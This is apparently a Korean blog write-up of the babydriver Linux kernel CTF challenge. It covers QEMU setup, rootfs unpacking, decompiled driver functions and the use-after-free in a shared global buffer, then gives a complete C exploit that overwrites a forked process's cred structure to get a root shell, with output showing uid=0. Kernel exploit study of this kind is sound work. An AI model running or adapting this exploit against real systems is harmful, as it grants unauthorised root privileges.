void *kmalloc(size_t size, gfp_t flags);
void kfree(const void * objp);
sudo apt install qemu qemu-system qemu-utils qemu-system-x86
$ vi extract-vmlinux
$ chmod +x extract-vmlinux
$ ./extract-vmlinux ncstisc_ctf_2018/babydriver/bzImage > ./ncstisc_ctf_2018/babydriver/vmlinux
$ binwalk vmlinux
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
2951691 0x2D0A0B Intel x86 or x64 microcode, pf_mask 0x00, 1BBD-01-03, rev 0x5c74800, size 259
12606512 0xC05C30 Intel x86 or x64 microcode, pf_mask 0x81cc0435, 1FFF-10-02, rev 0xf412fff, size 2048
12627680 0xC0AEE0 ELF, 64-bit LSB relocatable, AMD x86-64, version 1 (SYSV)
12909592 0xC4FC18 LZO compressed data
12947008 0xC58E40 CRC32 polynomial table, little endian
13039104 0xC6F600 Intel x86 or x64 microcode, sig 0x0000000b, pf_mask 0x2012000, 2000-02-01, rev 0x-001, size 6
13095360 0xC7D1C0 Unix path: /sys/kernel/debug
15518161 0xECC9D1 Unix path: /sys/kernel/debug/tracing/trace_clock
15679723 0xEF40EB Unix path: /dev/vc/0
15745103 0xF0404F xz compressed data
15814009 0xF14D79 Unix path: /lib/firmware/updates/4.4.72
16183036 0xF6EEFC Neighborly text, "NeighborSolicitss"
16183053 0xF6EF0D Neighborly text, "NeighborAdvertisementscmp6OutMsgs"
16188697 0xF70519 Neighborly text, "neighbor table overflow!nvalid vlan"
16793600 0x1004000 ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
16801792 0x1006000 ELF, 32-bit LSB shared object, AMD x86-64, version 1 (SYSV)
16805888 0x1007000 ELF, 32-bit LSB shared object, Intel 80386, version 1 (SYSV)
20561281 0x139BD81 LZ4 compressed data, legacy
20561410 0x139BE02 LZ4 compressed data, legacy
21439160 0x14722B8 Certificate in DER format (x509 v3), header length: 4, sequence length: 1342
21529168 0x1488250 gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)
$ file vmlinux
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=e993ea9809ee28d059537a0d5e866794f27e33b4, stripped
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
echo "flag{this_is_a_sample_flag}" > flag
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
poweroff -d 3000 -f &
setsid cttyhack setuidgid 0 sh
umount /proc
umount /sys
poweroff -d 0 -f
find . | cpio -o —format=newc | gzip > exploit.cpio로 파일시스템 생성 후 boot.sh에 해당 파일경로를 넣어준다.
boot.sh bzImage rootfs.cpio
boot.sh qemu 실행하는 부팅 스크립트
#! /bin/sh
qemu-system-x86_64 \\
-initrd rootfs.cpio \\
-kernel bzImage \\
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \\
-enable-kvm \\
-monitor /dev/null \\
-m 64M \\
--nographic \\
-smp cores=1,threads=1 \\
-cpu kvm64,+smep \\
→ 실행 시 커널 패닉 에러가 뜨면, -m 256M 옵션으로 램을 추가 할당해준다.
→ 커널 디버깅을 위해 -s 옵션을 추가해서 1234 포트를 열어준다. -append 옵션 아래에 -s 옵션을 줘야 오류 발생 안 한다. (파일 시스템 로드 이후 gdb 설치되기 때문)
#! /bin/sh
qemu-system-x86_64 \\
-initrd rootfs.cpio \\
-kernel bzImage \\
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \\
-enable-kvm \\
-monitor /dev/null \\
-m 64M \\
--nographic \\
-smp cores=1,threads=1 \\
-cpu kvm64,+smep \\
-s \\
rootfs.cpio 파일 시스템. 압축되어 있다.
bzImage 커널 이미지
#! /bin/sh
qemu-system-x86_64 \\
[...]
-smp cores=1,threads=1 \\
-cpu kvm64,+smep \\
chmod +x boot.sh
./boot.sh
[...]
Boot took 1.60 seconds
/ $ [ 3.771070] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x159643a31f0, max_ids
ls
bin etc home linuxrc pwn.c sys
core.cpio flag init proc root tmp
dev fs.sh lib pwn sbin usr
/ $ uname -a
Linux (none) 4.4.72 #1 SMP Thu Jun 15 19:52:50 PDT 2017 x86_64 GNU/Linux
/ $ cat /proc/cpuinfo | grep flags
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflup
/ $ ls /lib/modules/4.4.72/
babydriver.ko modules.dep.bb
/ $ cat /proc/modules
babydriver 16384 0 - Live 0xffffffffc0000000 (OE)
/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ xxd rootfs.cpio | head -10
00000000: 1f8b 0800 3354 5b59 0203 bc39 0b78 5365 ....3T[Y...9.xSe
00000010: 9637 6d02 e179 c308 8a8f 0a83 65ac ca23 .7m..y......e..#
00000020: e903 5ab0 632f bd29 7fb0 6819 a8b4 43aa ..Z.c/.)..h...C.
00000030: 96b4 854a 5fd3 2650 1828 65d2 54ee 5ce3 ...J_.&P.(e.T.\\.
00000040: d61d dded ceee ecf8 b17c b3ac 30df c7b8 .........|..0...
00000050: 8805 9526 7df3 1829 884e 1165 cba3 7843 ...&}..).N.e..xC
00000060: 406a 99e1 2534 7bce 7f13 da5c 1b75 fca6 @j..%4{....\\.u..
00000070: 09e4 feff 39ff f9cf 39ff 79fd e7a6 fab9 ....9...9.y.....
00000080: fab9 7a83 5e6f 884f d5eb 13f4 f089 37a4 ..z.^o.O......7.
00000090: f1fa a13f 0b12 9212 1624 c4c7 720a 7ca2 ...?.....$..r.|.
$ binwalk rootfs.cpio
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 gzip compressed data, maximum compression, from Unix, last modified: 2017-07-04 08:39:15
$ mv rootfs.cpio rootfs.cpio.gz
$ gunzip rootfs.cpio.gz
$ l
합계 2.8M
drwxrwxr-x 2 koharin koharin 4.0K 11월 6 15:51 .
drwxrwxr-x 3 koharin koharin 4.0K 11월 6 15:48 ..
-rwxrw-r-- 1 koharin koharin 2.8M 11월 6 15:48 rootfs.cpio
$ binwalk rootfs.cpio
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 ASCII cpio archive (SVR4 with no CRC), file name: ".", file name "
112 0x70 ASCII cpio archive (SVR4 with no CRC), file name: "etc", file nam"
228 0xE4 ASCII cpio archive (SVR4 with no CRC), file name: "etc/init.d", f"
352 0x160 ASCII cpio archive (SVR4 with no CRC), file name: "etc/passwd", f"
548 0x224 ASCII cpio archive (SVR4 with no CRC), file name: "etc/group", fi"
692 0x2B4 ASCII cpio archive (SVR4 with no CRC), file name: "bin", file nam"
808 0x328 ASCII cpio archive (SVR4 with no CRC), file name: "bin/su", file "
936 0x3A8 ASCII cpio archive (SVR4 with no CRC), file name: "bin/grep", fil"
1064 0x428 ASCII cpio archive (SVR4 with no CRC), file name: "bin/watch", fi"
1192 0x4A8 ASCII cpio archive (SVR4 with no CRC), file name: "bin/stat", fil"
1320 0x528 ASCII cpio archive (SVR4 with no CRC), file name: "bin/df", file "
1448 0x5A8 ASCII cpio archive (SVR4 with no CRC), file name: "bin/ed", file "
1576 0x628 ASCII cpio archive (SVR4 with no CRC), file name: "bin/mktemp", f"
1708 0x6AC ASCII cpio archive (SVR4 with no CRC), file name: "bin/mpstat", f"
1840 0x730 ASCII cpio archive (SVR4 with no CRC), file name: "bin/makemime","
[...]
$ cpio -id -v < rootfs.cpio
.
etc
etc/init.d
etc/passwd
etc/group
bin
bin/su
bin/grep
bin/watch
bin/stat
bin/df
bin/ed
bin/mktemp
bin/mpstat
bin/makemime
bin/ipcalc
bin/mountpoint
[...]
usr/sbin/ether-wake
tmp
linuxrc
home
home/ctf
5556 블록
$ rm rootfs.cpio
$ ls
bin etc home init lib linuxrc proc sbin sys tmp usr
$ ls ./lib/modules/4.4.72
babydriver.ko
$ cp ./lib/modules/4.4.72/babydriver.ko ..
$ cd ..
$ ls
babydriver.ko boot.sh bzImage rootfs rootfs.cpio
babydriver.ko 커널 모듈을 디컴파일러로 열어서 분석을 진행한다.
.data:00000000000008C0 fops file_operations <offset __this_module, 0, offset babyread, \\
.data:00000000000008C0 ; DATA XREF: babydriver_init:loc_1AA↑o
.data:00000000000008C0 offset babywrite, 0, 0, 0, 0, offset babyioctl, 0, 0,\\
.data:00000000000008C0 offset babyopen, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, \\
.data:00000000000008C0 0, 0, 0>
int __cdecl babydriver_init()
{
__int64 v0; // rdx
int v1; // edx
__int64 v2; // rsi
__int64 v3; // rdx
int v4; // ebx
class *v5; // rax
__int64 v6; // rdx
__int64 v7; // rax
if ( (signed int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 ) // character device 번호 할당 babydev_no에 0번 디바이스 번호 할당
{
cdev_init(&cdev_0, &fops); // cdev 구조체 초기화
v2 = babydev_no;
cdev_0.owner = &_this_module;
v4 = cdev_add(&cdev_0, babydev_no, 1LL); // cdev 구조체를 커널에 등록. character device 등록
if ( v4 >= 0 )
{
v5 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
babydev_class = v5;
if ( v5 )
{
v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev"); // device 생성 & device를 sysfs에 등록
v1 = 0;
if ( v7 )
return v1;
printk(&unk_351, 0LL, 0LL);
class_destroy(babydev_class); // 모듈에 대한 정보 가지는 class 구조체 삭제
}
else
{
printk(&unk_33B, "babydev", v6);
}
cdev_del(&cdev_0); // 등록된 character device 제거
}
else
{
printk(&unk_327, v2, v3);
}
unregister_chrdev_region(babydev_no, 1LL); // 사용 중인 디바이스 번호 해제
return v4;
}
printk(&unk_309, 0LL, v0);
return 1;
}
struct cdev {
kobject kobj;
module *owner;
const file_operations *ops;
list_head list;
dev_t dev;
unsigned int count;
};
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\\n", 0x24000C0LL, v2);
return 0;
}
struct babydevice_t {
char *device_buf; // 할당된 메모리 포인터
size_t device_buf_len; // 할당 사이즈
};
1 static __always_inline void *slab_alloc(struct kmem_cache *s,
2 gfp_t gfpflags, unsigned long addr)
3 {
4 return slab_alloc_node(s, gfpflags, NUMA_NO_NODE, addr);
5 }
1 void *kmem_cache_alloc_trace(struct kmem_cache *s, gfp_t gfpflags, size_t size)
2 {
3 void *ret = slab_alloc(s, gfpflags, _RET_IP_);
4 trace_kmalloc(_RET_IP_, ret, size, s->size, gfpflags);
5 kasan_kmalloc(s, ret, size, gfpflags);
6 return ret;
7 }
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf ) // 포인터 유효성 검사
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 ) // maxLen보다 크면 maxLen으로 크기 설정
{
v6 = v4;
copy_from_user();
result = v6;
}
return result;
}
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf ) // 포인터 값 유효한지 검사
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 ) // v4: maxLen
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}
void __cdecl babydriver_exit()
{
device_destroy(babydev_class, babydev_no);
class_destroy(babydev_class);
cdev_del(&cdev_0);
unregister_chrdev_region(babydev_no, 1LL);
}
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t size; // rdx
size_t k_size; // rbx
__int64 v5; // rdx
__int64 result; // rax
_fentry__(filp, *(_QWORD *)&command);
k_size = size;
if ( command == 65537 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(k_size, 0x24000C0LL);
babydev_struct.device_buf_len = k_size;
printk("alloc done\\n", 0x24000C0LL, v5);
result = 0LL;
}
else
{
printk(&unk_2EB, size, size);
result = -22LL;
}
return result;
}
01 void kfree(const void *x)
02 {
03 struct page *page;
04 void *object = (void *)x;
05
06 trace_kfree(_RET_IP_, x); // kfree trace 이벤트 메시지 출력
07
08 if (unlikely(ZERO_OR_NULL_PTR(x)))
09 return;
10
11 page = virt_to_head_page(x); // slub 객체에 대응하는 slab 페이지를 page에 저장
12 if (unlikely(!PageSlab(page))) { // 12~17: kfree()로 해제하는 메모리 타입이 slab이 아닐 경우 kernel panic 유발하는 코드
13 BUG_ON(!PageCompound(page));
14 kfree_hook(object);
15 __free_pages(page, compound_order(page));
16 return;
17 }
18 slab_free(page->slab_cache, page, object, NULL, 1, _RET_IP_); // 내부적으로 slab_free_freelist_hook(), do_slab_free() 함수를 호출하여 slub 객체를 slab 캐시의 per-cpu 캐시에 반환.
19 }
20 EXPORT_SYMBOL(kfree);
int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\\n", filp, v2);
return 0;
}
힙 청크 포인터가 전역변수 babydev_struct의 device_buf 필드에 저장된다.
서로 다른 file descriptor는 동일한 babydev_struct 구조체를 참조한다.
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
int main()
{
int fd1,fd2, pid;
char fake_cred[30] = {0};
// babyopen()
if ((fd1 = open("/dev/babydev", O_RDWR)) < 0){
printf("[-] Cannot open /dev/babydev.\\n");
exit(0);
}
// babyopen()
if ((fd2 = open("/dev/babydev", O_RDWR)) < 0){
printf("[-] Cannot open /dev/babydev.\\n");
exit(0);
}
// babyioctl()
if (ioctl(fd1, 65537, 168) < 0){
printf("[-] ioctl Error\\n");
exit(0);
}
// babyrelease()
if (close(fd1) != 0){
printf("[-] Cannot close fd1\\n");
exit(0);
}
// allocate cred struct in 168 heap chunk
pid = fork();
if(pid < 0){
printf("[-] fork error\\n");
exit(0);
}else if(pid == 0){
write(fd2, fake_cred, 28);
if(getuid() == 0){
printf("[+] root now\\n");
system("/bin/sh");
exit(0);
}else{
printf("[-] UID : %d\\n",getuid());
}
}else{
wait(1);
}
if (close(fd2) != 0){
printf("[-] Cannot close\\n");
}
return 0;
}
gcc -static -o exploit expoit.c
$ mv exploit home/ctf
$ find . | cpio -o --format=newc | gzip > exploit.cpio
#!/bin/sh
qemu-system-x86_64 -initrd ./rootfs/exploit.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
./run.sh
[...]
Boot took 1.53 seconds
/ $ [ 3.718328] tsc: Refined TSC clocksource calibration: 1497.585 MHz
[ 3.724698] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x15963948c7f, max_idle_ns
/ $ cd /home/ctf/
~ $ ls
exploit
~ $ ./exploit
[ 12.895748] device open
[ 12.897609] device open
[ 12.899542] alloc done
[ 12.901388] device release
PID 92
PID 0
[+] root now.
/home/ctf # id
uid=0(root) gid=0(root) groups=1000(ctf)
/home/ctf # cat flag
cat: can't open 'flag': No such file or directory
/home/ctf # whoami
root
/home/ctf #
[linux kernel] (7) - 2018 QWB ctf : core (ret2usr)
[리눅스커널] 메모리 관리: kmalloc 캐시 슬럽 오브젝트 할당 커널 함수 분석하기
캐릭터 디바이스 드라이버 (Character Device Driver)
[Kernel] Linux kernel (6) - CISCN 2017 babydriver write-up ( Linux kernel UAF )
[리눅스커널] 메모리 관리: 슬럽 오브젝트 해제하는 kfree() 함수 분석하기
06.Use-After-Free(UAF) (feat.struct cred)
07.Use-After-Free(UAF) (feat.tty_struct)
dreamhack linux kernel exploit 강좌
[QWBCTF 2018] core writeup (kernel exploit) (0) | 2022.03.22 |
---|---|
[0CTF 2018] baby kernel 2(kernel exploit, double fetch, race condition) (0) | 2021.11.11 |
[BISC CTF 2020] 2048 (0) | 2021.01.02 |
[BISC CTF 2020] oldschool (0) | 2021.01.01 |
[2020 Power of XX] T-Lab write up (tcache house of spirit) (0) | 2020.12.18 |